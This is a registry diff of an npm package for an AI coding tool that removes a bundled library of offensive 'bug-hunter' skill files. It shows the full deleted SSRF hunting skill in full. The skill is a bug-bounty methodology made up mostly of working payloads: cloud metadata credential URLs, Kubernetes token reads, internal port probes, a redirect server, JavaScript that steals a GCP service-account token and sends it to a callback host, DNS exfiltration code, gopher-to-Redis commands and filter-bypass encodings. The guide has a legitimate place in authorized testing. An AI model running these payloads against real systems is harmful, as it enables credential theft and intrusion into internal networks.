@hostclubeos/miraos 0.0.4-beta → 0.0.5-beta

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (147) hide show
  1. package/bundled/bug-hunter/SKILL.md +7 -0
  2. package/chunks/{acpAgent-F4OT4AQQ.js → acpAgent-UHWDA3W7.js} +2 -2
  3. package/chunks/{chunk-ECNTMKHI.js → chunk-2GVKPBW5.js} +1 -1
  4. package/chunks/{chunk-HPGUQCRQ.js → chunk-2TDRP3IX.js} +1 -1
  5. package/chunks/{chunk-C24YTZET.js → chunk-4IVYVCCU.js} +1 -1
  6. package/chunks/{chunk-CKBEAZAV.js → chunk-62DMHXLL.js} +1 -1
  7. package/chunks/{chunk-AYU4PDSQ.js → chunk-744QTJR2.js} +2 -2
  8. package/chunks/{chunk-4XV2522J.js → chunk-D3YOXHQF.js} +1 -1
  9. package/chunks/{chunk-5SJFYZQJ.js → chunk-FRADUGRC.js} +1 -1
  10. package/chunks/{chunk-WDLXS4A3.js → chunk-FXANOHXI.js} +3 -3
  11. package/chunks/{chunk-JM46SKXF.js → chunk-MQWKOOSR.js} +1 -1
  12. package/chunks/{chunk-4TJKJ2LG.js → chunk-MUS4ADP7.js} +1 -1
  13. package/chunks/{chunk-FUIRLSNA.js → chunk-N4RIISOE.js} +1 -1
  14. package/chunks/{chunk-PUPIORBU.js → chunk-NKWATWMD.js} +1 -1
  15. package/chunks/{chunk-7LXU4NUI.js → chunk-NYM67KKZ.js} +1 -1
  16. package/chunks/{chunk-TIWH3MUJ.js → chunk-PXBJPUGN.js} +1 -1
  17. package/chunks/{chunk-LISKSG7B.js → chunk-QEIX42MZ.js} +1 -1
  18. package/chunks/{chunk-BZMSTSKY.js → chunk-RKFNQQNA.js} +1 -1
  19. package/chunks/{chunk-AXBNQS6C.js → chunk-SK3QOQR4.js} +1 -1
  20. package/chunks/{chunk-33G7MOU6.js → chunk-XZNF4YNN.js} +1 -1
  21. package/chunks/{daemon-status-provider-NBPLE4JN.js → daemon-status-provider-F6KB2LNG.js} +1 -1
  22. package/chunks/{fast-path-66F2TWKE.js → fast-path-DWPD5EGQ.js} +1 -1
  23. package/chunks/{llm-LZ3HARC2.js → llm-RBI7KXDE.js} +3 -3
  24. package/chunks/{local-6KBSW7N2.js → local-HSG47CNJ.js} +1 -1
  25. package/chunks/{managed-local-serve-2N3IAB3D.js → managed-local-serve-YE4JDFNP.js} +1 -1
  26. package/chunks/{managed-runtime-bootstrap-M4P43K7W.js → managed-runtime-bootstrap-SHEXUEZN.js} +1 -1
  27. package/chunks/{managed-runtime-ssh-worker-WWZ7SJ7U.js → managed-runtime-ssh-worker-BZNJV7IB.js} +1 -1
  28. package/chunks/{memory-D62BXIJW.js → memory-JTDN5AEA.js} +1 -1
  29. package/chunks/{nonInteractiveCli-Z4A7THMG.js → nonInteractiveCli-BXHX6EIU.js} +1 -1
  30. package/chunks/{review-LM7KW6Y5.js → review-PC4IDLCG.js} +1 -1
  31. package/chunks/{run-qwen-serve-77UZS4JA.js → run-qwen-serve-XRWVWOZK.js} +1 -1
  32. package/chunks/{serve-RHO7RZ45.js → serve-JCUT4WK7.js} +1 -1
  33. package/chunks/{server-5HEOZG3T.js → server-HMTRZJF7.js} +1 -1
  34. package/chunks/{session-RT7VH6GE.js → session-RGLZU6KY.js} +1 -1
  35. package/chunks/{start-opentui-ui-I2XXWTJS.js → start-opentui-ui-YNTPK7LX.js} +1 -1
  36. package/chunks/{startInteractiveUI-774LJIJD.js → startInteractiveUI-MWA2VYTJ.js} +1 -1
  37. package/chunks/{validateNonInterActiveAuth-633WYCVH.js → validateNonInterActiveAuth-3433WFLE.js} +1 -1
  38. package/chunks/{version-77KBVA2F.js → version-XCFKTEY3.js} +1 -1
  39. package/cli.js +1 -1
  40. package/package.json +2 -2
  41. package/bundled/bug-hunter/references/apk-redteam-pipeline/SKILL.md +0 -407
  42. package/bundled/bug-hunter/references/bb-local-toolkit/SKILL.md +0 -1558
  43. package/bundled/bug-hunter/references/bb-methodology/SKILL.md +0 -513
  44. package/bundled/bug-hunter/references/bug-bounty/SKILL.md +0 -1604
  45. package/bundled/bug-hunter/references/bugcrowd-reporting/SKILL.md +0 -331
  46. package/bundled/bug-hunter/references/cloud-iam-deep/SKILL.md +0 -521
  47. package/bundled/bug-hunter/references/enterprise-vpn-attack/SKILL.md +0 -356
  48. package/bundled/bug-hunter/references/evidence-hygiene/SKILL.md +0 -401
  49. package/bundled/bug-hunter/references/exploit-completion/SKILL.md +0 -155
  50. package/bundled/bug-hunter/references/hunt-api-misconfig/SKILL.md +0 -268
  51. package/bundled/bug-hunter/references/hunt-aspnet/SKILL.md +0 -277
  52. package/bundled/bug-hunter/references/hunt-ato/SKILL.md +0 -140
  53. package/bundled/bug-hunter/references/hunt-auth-bypass/SKILL.md +0 -449
  54. package/bundled/bug-hunter/references/hunt-brute-force/SKILL.md +0 -297
  55. package/bundled/bug-hunter/references/hunt-business-logic/SKILL.md +0 -237
  56. package/bundled/bug-hunter/references/hunt-cache-poison/SKILL.md +0 -338
  57. package/bundled/bug-hunter/references/hunt-captcha-bypass/SKILL.md +0 -92
  58. package/bundled/bug-hunter/references/hunt-cicd/SKILL.md +0 -267
  59. package/bundled/bug-hunter/references/hunt-clickjacking/SKILL.md +0 -66
  60. package/bundled/bug-hunter/references/hunt-cloud-misconfig/SKILL.md +0 -195
  61. package/bundled/bug-hunter/references/hunt-cors/SKILL.md +0 -291
  62. package/bundled/bug-hunter/references/hunt-csrf/SKILL.md +0 -374
  63. package/bundled/bug-hunter/references/hunt-deserialization/SKILL.md +0 -178
  64. package/bundled/bug-hunter/references/hunt-dispatch/SKILL.md +0 -380
  65. package/bundled/bug-hunter/references/hunt-dom/SKILL.md +0 -279
  66. package/bundled/bug-hunter/references/hunt-exceptional-conditions/SKILL.md +0 -67
  67. package/bundled/bug-hunter/references/hunt-file-upload/SKILL.md +0 -158
  68. package/bundled/bug-hunter/references/hunt-fintech-graphql/SKILL.md +0 -245
  69. package/bundled/bug-hunter/references/hunt-forgot-password/SKILL.md +0 -70
  70. package/bundled/bug-hunter/references/hunt-graphql/SKILL.md +0 -368
  71. package/bundled/bug-hunter/references/hunt-grpc/SKILL.md +0 -273
  72. package/bundled/bug-hunter/references/hunt-host-header/SKILL.md +0 -265
  73. package/bundled/bug-hunter/references/hunt-html-injection/SKILL.md +0 -62
  74. package/bundled/bug-hunter/references/hunt-http-smuggling/SKILL.md +0 -87
  75. package/bundled/bug-hunter/references/hunt-idor/SKILL.md +0 -389
  76. package/bundled/bug-hunter/references/hunt-jwt-crypto/SKILL.md +0 -177
  77. package/bundled/bug-hunter/references/hunt-k8s/SKILL.md +0 -293
  78. package/bundled/bug-hunter/references/hunt-laravel/SKILL.md +0 -211
  79. package/bundled/bug-hunter/references/hunt-ldap/SKILL.md +0 -307
  80. package/bundled/bug-hunter/references/hunt-lfi/SKILL.md +0 -266
  81. package/bundled/bug-hunter/references/hunt-llm-ai/SKILL.md +0 -245
  82. package/bundled/bug-hunter/references/hunt-mfa-bypass/SKILL.md +0 -134
  83. package/bundled/bug-hunter/references/hunt-misc/SKILL.md +0 -333
  84. package/bundled/bug-hunter/references/hunt-nextjs/SKILL.md +0 -255
  85. package/bundled/bug-hunter/references/hunt-nodejs/SKILL.md +0 -219
  86. package/bundled/bug-hunter/references/hunt-nosqli/SKILL.md +0 -166
  87. package/bundled/bug-hunter/references/hunt-ntlm-info/SKILL.md +0 -270
  88. package/bundled/bug-hunter/references/hunt-oauth/SKILL.md +0 -414
  89. package/bundled/bug-hunter/references/hunt-open-redirect/SKILL.md +0 -179
  90. package/bundled/bug-hunter/references/hunt-race-condition/SKILL.md +0 -485
  91. package/bundled/bug-hunter/references/hunt-rag-vector/SKILL.md +0 -167
  92. package/bundled/bug-hunter/references/hunt-rce/SKILL.md +0 -494
  93. package/bundled/bug-hunter/references/hunt-saml/SKILL.md +0 -112
  94. package/bundled/bug-hunter/references/hunt-session/SKILL.md +0 -298
  95. package/bundled/bug-hunter/references/hunt-shadow-api/SKILL.md +0 -153
  96. package/bundled/bug-hunter/references/hunt-sharepoint/SKILL.md +0 -437
  97. package/bundled/bug-hunter/references/hunt-source-leak/SKILL.md +0 -301
  98. package/bundled/bug-hunter/references/hunt-spa-api/SKILL.md +0 -123
  99. package/bundled/bug-hunter/references/hunt-springboot/SKILL.md +0 -241
  100. package/bundled/bug-hunter/references/hunt-sqli/SKILL.md +0 -422
  101. package/bundled/bug-hunter/references/hunt-ssrf/SKILL.md +0 -514
  102. package/bundled/bug-hunter/references/hunt-ssti/SKILL.md +0 -117
  103. package/bundled/bug-hunter/references/hunt-subdomain/SKILL.md +0 -335
  104. package/bundled/bug-hunter/references/hunt-tls-network/SKILL.md +0 -355
  105. package/bundled/bug-hunter/references/hunt-websocket/SKILL.md +0 -285
  106. package/bundled/bug-hunter/references/hunt-xss/SKILL.md +0 -450
  107. package/bundled/bug-hunter/references/hunt-xxe/SKILL.md +0 -422
  108. package/bundled/bug-hunter/references/ios-redteam-pipeline/SKILL.md +0 -287
  109. package/bundled/bug-hunter/references/m365-entra-attack/SKILL.md +0 -384
  110. package/bundled/bug-hunter/references/meme-coin-audit/SKILL.md +0 -358
  111. package/bundled/bug-hunter/references/mid-engagement-ir-detection/SKILL.md +0 -353
  112. package/bundled/bug-hunter/references/offensive-osint/README.md +0 -98
  113. package/bundled/bug-hunter/references/offensive-osint/SKILL.md +0 -399
  114. package/bundled/bug-hunter/references/offensive-osint/references/breach-and-credentials.md +0 -128
  115. package/bundled/bug-hunter/references/offensive-osint/references/dork-corpus.md +0 -180
  116. package/bundled/bug-hunter/references/offensive-osint/references/helpers-and-automation.md +0 -231
  117. package/bundled/bug-hunter/references/offensive-osint/references/identity-fabric.md +0 -305
  118. package/bundled/bug-hunter/references/offensive-osint/references/people-osint.md +0 -105
  119. package/bundled/bug-hunter/references/offensive-osint/references/probes-and-wordlists.md +0 -1266
  120. package/bundled/bug-hunter/references/offensive-osint/references/recon-stack.md +0 -282
  121. package/bundled/bug-hunter/references/offensive-osint/references/recon-techniques.md +0 -341
  122. package/bundled/bug-hunter/references/offensive-osint/references/saas-public-surfaces.md +0 -138
  123. package/bundled/bug-hunter/references/offensive-osint/references/secret-patterns.md +0 -67
  124. package/bundled/bug-hunter/references/offensive-osint/references/secret-validators.md +0 -329
  125. package/bundled/bug-hunter/references/offensive-osint/references/sector-notes.md +0 -72
  126. package/bundled/bug-hunter/references/offensive-osint/references/severity-matrix.md +0 -108
  127. package/bundled/bug-hunter/references/offensive-osint/references/specialized-osint.md +0 -199
  128. package/bundled/bug-hunter/references/offensive-osint/references/tooling-install.md +0 -188
  129. package/bundled/bug-hunter/references/offensive-osint/scripts/assets/FONT-LICENSE.txt +0 -13
  130. package/bundled/bug-hunter/references/offensive-osint/scripts/assets/archivo-black.woff2 +0 -0
  131. package/bundled/bug-hunter/references/offensive-osint/scripts/dashboard.py +0 -968
  132. package/bundled/bug-hunter/references/offensive-osint/scripts/h1_reference.py +0 -402
  133. package/bundled/bug-hunter/references/offensive-osint/scripts/secret_scan.py +0 -180
  134. package/bundled/bug-hunter/references/okta-attack/SKILL.md +0 -397
  135. package/bundled/bug-hunter/references/osint-methodology/README.md +0 -66
  136. package/bundled/bug-hunter/references/osint-methodology/SKILL.md +0 -1704
  137. package/bundled/bug-hunter/references/recon-scope-triage/SKILL.md +0 -89
  138. package/bundled/bug-hunter/references/redteam-mindset/SKILL.md +0 -401
  139. package/bundled/bug-hunter/references/redteam-report-template/SKILL.md +0 -347
  140. package/bundled/bug-hunter/references/regression-hunting/SKILL.md +0 -98
  141. package/bundled/bug-hunter/references/report-writing/SKILL.md +0 -568
  142. package/bundled/bug-hunter/references/security-arsenal/SKILL.md +0 -912
  143. package/bundled/bug-hunter/references/supply-chain-attack-recon/SKILL.md +0 -648
  144. package/bundled/bug-hunter/references/triage-validation/SKILL.md +0 -418
  145. package/bundled/bug-hunter/references/vmware-vcenter-attack/SKILL.md +0 -372
  146. package/bundled/bug-hunter/references/web2-recon/SKILL.md +0 -698
  147. package/bundled/bug-hunter/references/web3-audit/SKILL.md +0 -606
@@ -1,514 +0,0 @@
1
- ---
2
- name: hunt-ssrf
3
- description: Hunting skill for ssrf vulnerabilities. Built from 15 public bug bounty reports including AWS metadata SSRF (HackerOne $25k Analytics PDF, Shopify Exchange $25k, Capital One 106M-record breach, Dropbox/HelloSign $4,913), GCP metadata SSRF (Snapchat $4k), Azure IMDS SSRF (Azure DevOps $15k chain, ChatGPT Custom Actions MSRC), DNS rebinding SSRF (Concrete CMS, GitLab UrlBlocker), gopher-protocol-to-Redis-RCE (Yahoo Mail $15k), link-preview SSRF (Reddit Matrix $6k), and headless-browser PDF-generator SSRF chains. Use when hunting SSRF on any target — OOB Collaborator confirmation mandatory for blind cases.
4
- sources: github, hackerone_public, portswigger_research, binarysecurity_research
5
- report_count: 34
6
- ---
7
-
8
- ## Crown Jewel Targets
9
-
10
- SSRF is highest-value when the target runs on cloud infrastructure (AWS, GCP, Azure) where metadata services expose credentials, or when the server sits inside a complex internal network (Kubernetes clusters, microservice meshes, internal APIs). Priority targets:
11
-
12
- - **Cloud-hosted SaaS products** (GCP metadata at `169.254.169.254` or `metadata.google.internal`, AWS IMDSv1)
13
- - **Kubernetes/orchestration platforms** — aggregated API servers, metrics-server, kubelet endpoints expose privileged cluster operations
14
- - **Internal developer tooling** — CI/CD, workflow orchestration (Flyte, Argo), admin panels not exposed externally
15
- - **Link preview / URL fetching features** — Reddit-style preview APIs, Slack-style unfurling, media processors
16
- - **Dataset/file import pipelines** — anything that fetches remote URLs on behalf of a user
17
- - **Enterprise self-hosted software** (GitHub Enterprise, GitLab) — SSRF frequently chains to RCE via internal services
18
-
19
- Payouts are highest when SSRF reaches: cloud credentials → account takeover, internal admin APIs → data exfil, or chains to RCE.
20
-
21
- ---
22
-
23
- ## OOB-Or-It-Didn't-Happen Gate (Read First)
24
-
25
- **Claims of blind SSRF require an out-of-band (OOB) confirmation. Always. No exceptions.**
26
-
27
- OOB means: a Burp Collaborator domain, an `interactsh-client` listener, a canarytoken, or any DNS+HTTP receiver you control that confirms the server actually made an outbound network connection on your behalf.
28
-
29
- ### What is NOT confirmation of SSRF
30
-
31
- - The server **echoing your URL back in an error message**. Example: `"The Web application at http://evil.example.com/x could not be found"` — this is the server formatting your input into an error string, NOT making an outbound HTTP request. The error came from string formatting, not from network failure.
32
- - The server returning a different status code for an external URL vs `localhost`. Different error responses can come from URL-scheme validators, not from actual fetching.
33
- - A delayed response when the URL is sent. Delay can come from DNS resolution attempts within the parser, not from completed HTTP fetches.
34
-
35
- ### What IS confirmation of SSRF
36
-
37
- - A DNS lookup for your unique Collaborator subdomain appears in the OOB listener.
38
- - An HTTP request to your Collaborator HTTP endpoint with the server's source IP and User-Agent.
39
- - For SSRF in JavaScript-execution contexts (PDF renderers, headless browsers), a fetch from the server to your callback URL.
40
-
41
- ### Default workflow
42
-
43
- 1. **Plant the Collaborator payload first.** Sub-tagging (`dlsrcurl.<collab>`,
44
- `import.<collab>`) only works if your listener actually reports the queried
45
- subdomain back to you — **verify that before relying on it.** Burp's
46
- `get_collaborator_interactions` keys results by **payload ID, not by subdomain**,
47
- so several sub-tags generated from one payload are indistinguishable in the
48
- output. When that is the case, **generate a fresh payload per candidate
49
- parameter** and send exactly one request per payload.
50
- 2. **Send the request** to the target endpoint.
51
- 3. **Wait 30–120 seconds**, then poll the OOB listener.
52
- 4. **Only after a confirmed callback** do you claim SSRF.
53
- 5. If zero callbacks across all sub-tagged sinks: SSRF claims must be retracted, even if error messages echo URLs.
54
-
55
- **Lesson from a authorized engagement:** SharePoint's `/_layouts/15/download.aspx?SourceUrl=` returned 500 with the title `"The Web application at <attacker-URL> could not be found"`. Initial scan flagged this as SSRF (server clearly processed the URL). 38 Collaborator-tagged payloads across 12+ URL-accepting parameters yielded **zero DNS or HTTP interactions**. The "echo" was client-side error-string formatting; the server never made an outbound HTTP request. The path is actually an SP-internal `SPFile`/`SPWebApplication` resolver, not a generic URL fetcher. Reporting this as SSRF would have been N/A'd at triage.
56
-
57
- ### Attribute the callback to ONE parameter before reporting
58
-
59
- A callback proves the server made a request. It does **not** tell you which
60
- parameter caused it, and the fix depends entirely on that.
61
-
62
- ```
63
- BAD — four candidate fields, one payload, fired in one batch
64
- -> callbacks arrive, attribution impossible, retest required
65
-
66
- GOOD — fresh payload per field, one request each, poll between
67
- url -> callbacks <- this is the sink
68
- apiUrl -> none
69
- endpoint -> none
70
- target -> none
71
- ```
72
-
73
- **Run the negative control.** A parameter that produces *no* callback is evidence,
74
- and it belongs in the report — it is what lets the client fix the right field
75
- instead of allowlisting the wrong one.
76
-
77
- **Lesson from an authorized engagement.** A server-side request-forwarding endpoint
78
- accepted both `url` and `apiUrl`. The application's own stored config used `apiUrl`,
79
- so that was the obvious suspect — but `apiUrl` was inert and **`url` was the live
80
- sink**.
81
- Batch-firing both had produced callbacks with no attribution; only per-payload
82
- isolation identified the real parameter. A report naming `apiUrl` would have sent
83
- the client to patch a field that does nothing.
84
-
85
- ### Blind vs full-read — establish which before scoring
86
-
87
- After a callback confirms the request leaves the server, **check whether the
88
- upstream response body is returned to you.** These are different findings:
89
-
90
- - **Blind** (callback only, no body): on the never-submit list standalone. Needs an
91
- internal service reached, or data returned, to be reportable.
92
- - **Full-read** (upstream body in the response): substantially higher severity —
93
- read arbitrary internal endpoints directly.
94
-
95
- ```bash
96
- # one request settles it: fetch something with a known, recognisable body
97
- -d '{"url":"https://example.com/"}'
98
- # {"statusCode":200,"data":"<!doctype html>...<title>Example Domain</title>..."}
99
- # ^ body returned = full-read, not blind
100
- ```
101
-
102
- Also body-diff a known-internal target against a known-external one. A **distinct
103
- status** on a link-local address (e.g. `401` from `169.254.169.254` where every
104
- other target returns `200`) is the metadata service answering — that proves reach
105
- to a non-internet-routable address, which a status code alone otherwise cannot.
106
-
107
-
108
- ---
109
-
110
- ## Attack Surface Signals
111
-
112
- ### URL Patterns to Hunt
113
- ```
114
- /api/*/preview
115
- /api/*/fetch
116
- /api/*/import
117
- /api/*/webhook
118
- /api/*/proxy
119
- /api/*/render
120
- /api/*/link
121
- /api/*/screenshot
122
- /api/*/export
123
- /api/*/validate
124
- ?url=
125
- ?uri=
126
- ?endpoint=
127
- ?redirect=
128
- ?src=
129
- ?source=
130
- ?feed=
131
- ?host=
132
- ?target=
133
- ?dest=
134
- ?file=
135
- ?path=
136
- ?callback=
137
- ?image=
138
- ?load=
139
- ?fetch=
140
- ```
141
-
142
- ### JS Patterns (in client-side code)
143
- ```javascript
144
- // Look for these in JS bundles
145
- fetch(userInput)
146
- axios.get(params.url)
147
- XMLHttpRequest + variable URL
148
- url: req.body.url
149
- src: params.source
150
- href: query.endpoint
151
- ```
152
-
153
- ### Response Header Signals
154
- ```
155
- X-Forwarded-For headers echoed back
156
- Server: internal-service
157
- Via: 1.1 internal-proxy
158
- X-Cache headers revealing internal hostnames
159
- ```
160
-
161
- ### Tech Stack Signals
162
- - **Kubernetes** — any public-facing aggregated API, metrics endpoints
163
- - **GCP** — any service fetching URLs that runs on Compute Engine/GKE
164
- - **Node.js/Python** with URL-fetching libraries (`requests`, `node-fetch`, `axios`)
165
- - **Headless browsers** (Puppeteer, PhantomJS) used for screenshots/PDF — extremely high value
166
- - **XML/DSPL/CSV import features** — XXE-style SSRF vector
167
- - **OAuth/webhook registration** endpoints
168
-
169
- ---
170
-
171
- ## Step-by-Step Hunting Methodology
172
-
173
- 1. **Map all URL-input parameters** across the target: spider JS files for fetch calls, check all API docs, look for file-import, link-preview, webhook, image-proxy, and redirect features.
174
-
175
- 2. **Set up an out-of-band detection server** using Burp Collaborator, interactsh, or `https://canarytokens.org` — you need a unique per-test DNS/HTTP callback domain.
176
-
177
- 3. **Send your callback URL as the parameter value first** (blind SSRF check before anything else):
178
- ```
179
- url=https://YOUR.interactsh.com/test
180
- ```
181
- Confirm the server makes an outbound connection. This proves execution before attempting internal targets.
182
-
183
- 4. **Test internal cloud metadata endpoints**:
184
- - GCP: `http://metadata.google.internal/computeMetadata/v1/`
185
- - AWS: `http://169.254.169.254/latest/meta-data/`
186
- - Azure: `http://169.254.169.254/metadata/instance`
187
-
188
- 5. **Test localhost and common internal ports**:
189
- ```
190
- http://localhost/
191
- http://127.0.0.1:8080/
192
- http://127.0.0.1:6443/ (Kubernetes API)
193
- http://127.0.0.1:2379/ (etcd)
194
- http://127.0.0.1:9090/ (Prometheus)
195
- http://127.0.0.1:9200/ (Elasticsearch)
196
- ```
197
-
198
- 6. **Check for redirect-based SSRF** — if the endpoint validates the initial URL but follows 30x redirects, host a redirect server pointing to internal addresses. Kubernetes report (Report 3) was specifically triggered by hijacked API servers returning 30x responses.
199
-
200
- 7. **Test JavaScript-execution contexts** (headless browsers, PDF renderers):
201
- - Inject `<script>` tags that make `XMLHttpRequest` or `fetch()` calls to internal services
202
- - Exfil via DNS: encode response data in subdomain of your callback domain
203
-
204
- 8. **Enumerate the internal network** using timing differences and error message variations:
205
- - Port scan via response time (`connection refused` vs timeout)
206
- - Check error messages for hostname/IP leakage
207
-
208
- 9. **Chain findings** — if you have SSRF to internal services, look for:
209
- - Unauthenticated admin endpoints
210
- - Redis, memcached (protocol smuggling)
211
- - Internal OAuth token endpoints
212
- - SSRF → CSRF → RCE (GitHub Enterprise pattern)
213
-
214
- 10. **Document the full chain** with screenshots of each hop before reporting.
215
-
216
- ---
217
-
218
- ## Payload & Detection Patterns
219
-
220
- ### Basic Out-of-Band Detection
221
- ```bash
222
- # Using interactsh-client
223
- interactsh-client -v
224
-
225
- # Test parameter
226
- curl -s "https://target.com/api/preview?url=https://YOUR_ID.oast.pro"
227
-
228
- # With common headers that might unlock SSRF
229
- curl -s "https://target.com/api/fetch" \
230
- -H "Content-Type: application/json" \
231
- -d '{"url":"https://YOUR_ID.oast.pro"}'
232
- ```
233
-
234
- ### Cloud Metadata Payloads
235
- ```bash
236
- # GCP - requires Metadata-Flavor header (test if server adds it automatically)
237
- http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
238
- http://169.254.169.254/computeMetadata/v1/project/project-id
239
- http://metadata/computeMetadata/v1/
240
- http://169.254.169.254/computeMetadata/v1/
241
-
242
- # AWS IMDSv1 (no auth required)
243
- http://169.254.169.254/latest/meta-data/iam/security-credentials/
244
- http://169.254.169.254/latest/user-data
245
- # AWS ECS task credentials (retrieve from env var AWS_CONTAINER_CREDENTIALS_RELATIVE_URI)
246
- http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}
247
-
248
- # Azure - instance metadata and managed identity token
249
- http://169.254.169.254/metadata/instance?api-version=2021-02-01
250
- http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
251
- # Requires Metadata: true header for Azure requests
252
-
253
- # Kubernetes service account credentials (file:// SSRF)
254
- file:///var/run/secrets/kubernetes.io/serviceaccount/token
255
- file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt
256
- ```
257
-
258
- ### Localhost/Internal Port Payloads
259
- ```bash
260
- # Kubernetes internals
261
- http://127.0.0.1:6443/api/v1/namespaces
262
- http://10.0.0.1:6443/api/v1/secrets
263
- http://127.0.0.1:10250/pods # kubelet
264
- http://127.0.0.1:2379/v2/keys # etcd
265
-
266
- # Common internal services
267
- http://127.0.0.1:6379/ # Redis (check for inline commands)
268
- http://127.0.0.1:9200/_cat/indices # Elasticsearch
269
- http://127.0.0.1:5601/ # Kibana
270
- http://127.0.0.1:8500/v1/catalog/services # Consul
271
- ```
272
-
273
- ### Redirect-Based SSRF (when direct is blocked)
274
- ```python
275
- # Simple Python redirect server
276
- from http.server import HTTPServer, BaseHTTPRequestHandler
277
-
278
- class Redirect(BaseHTTPRequestHandler):
279
- def do_GET(self):
280
- self.send_response(301)
281
- self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
282
- self.end_headers()
283
-
284
- HTTPServer(('0.0.0.0', 8080), Redirect).serve_forever()
285
- ```
286
-
287
- ### JavaScript-Based SSRF (headless browser contexts)
288
- ```javascript
289
- // Exfil via fetch
290
- fetch('http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token', {
291
- headers: {'Metadata-Flavor': 'Google'}
292
- }).then(r=>r.text()).then(d=>{
293
- fetch('https://YOUR.callback.com/?d='+btoa(d))
294
- })
295
-
296
- // DNS exfil for blind contexts
297
- var x = new XMLHttpRequest();
298
- x.open('GET','http://169.254.169.254/latest/meta-data/');
299
- x.send();
300
- x.onload = function(){
301
- var img = new Image();
302
- img.src = 'https://'+btoa(x.responseText.substring(0,50))+'.YOUR.callback.com';
303
- }
304
- ```
305
-
306
- ### Grep Patterns for Source Code Review
307
- ```bash
308
- # Find URL fetch operations
309
- grep -rE "(fetch|curl|urllib|requests\.get|http\.get|axios\.get)\s*\(" --include="*.py" --include="*.js" --include="*.go"
310
-
311
- # Find URL parameters being passed to HTTP clients
312
- grep -rE "(url|uri|endpoint|redirect|src|source)\s*=\s*req\.(query|body|params)" --include="*.js"
313
-
314
- # Find redirect following
315
- grep -rE "(follow_redirects|allow_redirects|followRedirects)\s*=\s*[Tt]rue"
316
- ```
317
-
318
- ### ffuf Parameter Discovery
319
- ```bash
320
- ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
321
- -u "https://target.com/api/endpoint?FUZZ=https://YOUR.callback.com" \
322
- -fs 0 -mc all
323
- ```
324
-
325
- ---
326
-
327
- ## Common Root Causes
328
-
329
- 1. **"The user said it was safe"** — Developers trust user-supplied URLs for fetching remote resources (link previews, thumbnails, webhooks) without validating the destination. The feature is legitimate; the missing validation is the bug.
330
-
331
- 2. **Allowlist bypass via redirects** — Developers validate the initial URL against an allowlist but configure HTTP clients to follow redirects automatically. An attacker's server on the allowlist redirects to an internal address.
332
-
333
- 3. **Aggregated/proxy API trust** — Kubernetes-style architectures where an API aggregation layer blindly proxies 30x responses from registered extension servers. Compromising a single extension server gives SSRF into the core API.
334
-
335
- 4. **Server-side rendering without sandboxing** — Headless browser features (PDF generation, link preview screenshots) execute attacker-controlled JavaScript in a network-privileged context with access to metadata services.
336
-
337
- 5. **XML/DSPL/file parsers fetching external entities** — Import features that parse structured files (XML, DSPL, CSV with remote schemas) fetch attacker-controlled URLs, often with no URL validation at all.
338
-
339
- 6. **Internal hostname leakage via response differences** — Services return different error messages, timing, or response sizes for internal vs. external hosts, enabling blind enumeration even when content isn't returned.
340
-
341
- 7. **IMDSv1 still enabled** — Cloud deployments that haven't migrated to IMDSv2 (AWS) or haven't required the `Metadata-Flavor` header (GCP) allow unauthenticated credential access from any SSRF.
342
-
343
- ---
344
-
345
- ## Bypass Techniques
346
-
347
- ### Blocklist Bypasses (When `localhost`, `127.0.0.1`, `169.254.x.x` are blocked)
348
-
349
- ```
350
- # IPv6 equivalents
351
- http://[::1]/
352
- http://[::ffff:127.0.0.1]/
353
- http://[::ffff:169.254.169.254]/
354
-
355
- # Decimal/octal/hex encoding of IP
356
- http://2130706433/ (127.0.0.1 decimal)
357
- http://0x7f000001/ (127.0.0.1 hex)
358
- http://0177.0.0.1/ (octal)
359
- http://127.1/ (short form)
360
- http://0/ (resolves to 0.0.0.0)
361
-
362
- # DNS rebinding - register a domain that resolves to internal IP after first check
363
- # Use https://lock.cmpxchg8b.com/rebinder.html
364
-
365
- # Subdomain pointing to internal IP
366
- http://localtest.me/ (resolves to 127.0.0.1)
367
- http://127.0.0.1.nip.io/
368
- http://customer.attacker.com/ (A record → 192.168.1.1)
369
-
370
- # URL parser confusion
371
- http://evil.com@127.0.0.1/
372
- http://127.0.0.1#evil.com
373
- http://127.0.0.1%25@evil.com (URL encoding)
374
- http://evil.com\.127.0.0.1/ (backslash)
375
-
376
- # Protocol confusion
377
- file:///etc/passwd
378
- dict://127.0.0.1:6379/
379
- gopher://127.0.0.1:6379/_FLUSHALL (Redis via gopher)
380
- sftp://attacker.com:11111/
381
- ldap://127.0.0.1/
382
-
383
- # Redirect chain bypass
384
- https://allowlisted-domain.com → HTTP 301 → http://169.254.169.254/
385
-
386
- # Case variation / URL encoding
387
- http://Localhost/
388
- http://127.0.0.1%2F@evil.com/
389
- ```
390
-
391
- ### App-layer input-encoding bypass (filter sees one thing, fetcher another)
392
- When the endpoint takes the target URL **wrapped/encoded** — a base64 blob in the path, a
393
- double-encoded param, a JSON-nested value — the front-end WAF/allowlist inspects the *raw*
394
- input while the backend **decodes it before fetching**. Encode the internal target so the
395
- filter never sees `169.254` / `localhost` in clear:
396
- ```
397
- # target URL base64'd into a path segment the app decodes, then fetches
398
- GET /proxy/aHR0cDovLzE2OS4yNTQuMTY5LjI1NC8=/x.js # = http://169.254.169.254/ (disclosed: reports/1189367)
399
- # double-URL-encode the host so one decode pass survives the filter
400
- url=http%253A%252F%252F169.254.169.254%252F
401
- ```
402
- Always test whether the parameter is decoded once, twice, or base64'd before the fetch — the number of decode passes is the bug.
403
-
404
- ### Path-normalization / semicolon bypass (front-end filter vs origin path)
405
- A front-end that blocks `url=` to internal hosts can be skipped when the origin re-normalizes
406
- path segments the edge left intact — inject `;/`, `/../`, or matrix-param segments so the edge
407
- routes it as benign but the origin resolves the SSRF fetch:
408
- ```
409
- GET /;/;/resource/md/get/url?url=http://oast.example/ # edge ignores, origin fetches (disclosed: reports/2035332)
410
- ```
411
- Full-read SSRF via this path-confusion reaches cloud-credential endpoints the direct `url=` param blocked.
412
-
413
- ### Schema/Protocol Bypasses
414
- ```
415
- # When only http/https allowed but implementation is loose
416
- http://169.254.169.254:80@evil.com/
417
- //169.254.169.254/
